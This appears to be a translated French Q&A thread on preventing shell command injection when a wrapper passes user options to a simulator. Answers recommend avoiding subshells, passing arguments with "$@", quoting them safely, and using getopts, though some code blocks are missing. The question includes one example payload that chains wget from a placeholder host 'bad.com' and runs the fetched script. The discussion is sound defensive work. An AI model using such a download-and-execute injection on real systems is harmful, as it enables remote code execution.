J'ai une application wrapper où je dois laisser l'utilisateur spécifier des options personnalisées à passer à un simulateur. Cependant, je veux m'assurer que l'utilisateur n'injecte pas d'autres commandes via les options utilisateur. Quelle est la meilleure façon d'y parvenir?
Par exemple.
- L'utilisateur fournit:
-a -b
- L'application s'exécute:
mysim --preset_opt -a -b
Cependant, je ne veux pas que cela se produise:
- L'utilisateur fournit:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- L'application s'exécute:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Actuellement, je pense que je pourrais simplement entourer chaque option fournie par l'utilisateur de guillemets simples '
et supprimer tous les guillemets simples fournis par l'utilisateur, de sorte que la commande dans le dernier exemple se révèle être inoffensive:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Remarque: La mysim
commande s'exécute dans le cadre d'un script shell dans un conteneur docker / lxc. J'utilise Ubuntu.
eval
pour exécuter l'application? Sinon, l'injection ne devrait pas avoir lieu:x="&& echo Doomed" ; echo $x
eval
. J'appelle l'exécutablemysim
dans un script shell. Je vois l'injection se produire si je copie simplement la chaîne d'options fournie par l'utilisateur et la colle à la fin de lamysim
commande.-a -b
. Je cherche donc à m'assurer que des commandes supplémentaires ne sont pas injectées dans cette chaîne.[a-zA-Z0-9 _-]
ressemble à un choix assez défensif.Réponses:
Si vous avez le contrôle sur le programme wrapper, assurez-vous qu'il n'invoque pas de sous-shell. Au fond, une instruction pour exécuter un programme se compose du chemin complet (absolu ou relatif au répertoire courant) vers l'exécutable, et d'une liste de chaînes à passer en arguments. La recherche PATH, les espaces séparant les arguments, les guillemets et les opérateurs de contrôle sont tous fournis par le shell. Pas de coquille, pas de douleur.
Par exemple, avec un wrapper Perl, utilisez la forme liste de
exec
ousystem
. Dans de nombreuses langues, appelez l'une des fonctionsexec
ouexecXXX
(ouunix.exec
ou quel que soit son nom) plutôt quesystem
, ouos.spawn
avecshell=False
, ou quoi que cela prenne.Si le wrapper est un script shell, utilisez
"$@"
pour transmettre les arguments, par exempleSi vous n'avez pas le choix et que le programme wrapper invoque un shell, vous devrez citer les arguments avant de les passer au shell. Le moyen le plus simple de citer des arguments est le suivant:
'
(guillemet simple) par la chaîne de quatre caractères'\''
. (par exempledon't
devientdon'\''t
)'
au début de chaque argument et également à la fin de chaque argument. (par exemple dedon't
,don'\''t
devient'don'\''t'
)Si vous devez le faire dans un wrapper shell, voici un moyen.
(Malheureusement, la
${VAR//PATTERN/REPLACEMENT}
construction de bash , qui devrait être utile ici, nécessite des citations originales, et je ne pense pas que vous puissiez obtenir'\''
le texte de remplacement.)la source
Vous pouvez utiliser l'
${VAR//PATTERN/REPLACEMENT}
idiome de Bash pour transformer une citation unique'
en la'\''
mettant d'abord'\''
dans une variable (comme étape intermédiaire), puis en développant cette variable commeREPLACEMENT
élément dans l'idiome Bash mentionné.la source
Vous pouvez utiliser
getopts
dansbash
lequel peut analyser les arguments pour vous, par exemple:la source